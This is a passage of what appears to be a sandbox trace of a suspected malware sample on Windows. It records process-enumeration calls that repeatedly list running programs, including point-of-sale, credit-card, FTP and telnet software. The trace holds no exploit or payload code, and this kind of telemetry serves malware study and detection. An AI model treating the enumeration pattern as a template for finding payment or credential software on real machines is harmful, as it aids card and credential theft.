dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0245.857] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0245.859] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0245.861] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0245.863] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0245.865] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0245.867] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0245.870] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0245.873] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0245.875] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0245.877] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0245.879] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0245.881] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0245.884] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0245.907] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0245.910] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0245.912] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0245.916] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0245.918] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0245.921] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0245.923] CloseHandle (hObject=0x21ec) returned 1 [0245.923] Sleep (dwMilliseconds=0x64) [0245.939] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0245.997] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.000] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.002] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.003] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.005] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.008] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.010] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.012] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.016] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.019] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.021] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.024] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.027] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.029] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.032] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.034] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.037] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.039] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.042] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.044] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.048] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.051] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.054] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.056] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.058] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.061] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0246.063] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.065] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.067] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.069] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0246.072] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.074] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.076] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0246.078] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.082] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.085] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.087] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.089] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.091] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.093] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0246.127] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0246.130] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0246.132] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0246.134] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0246.137] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0246.140] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0246.143] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0246.145] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0246.148] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0246.150] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0246.153] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0246.158] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0246.161] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0246.164] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0246.166] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0246.169] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0246.171] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0246.174] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0246.178] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0246.181] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0246.185] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0246.188] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0246.191] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0246.196] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 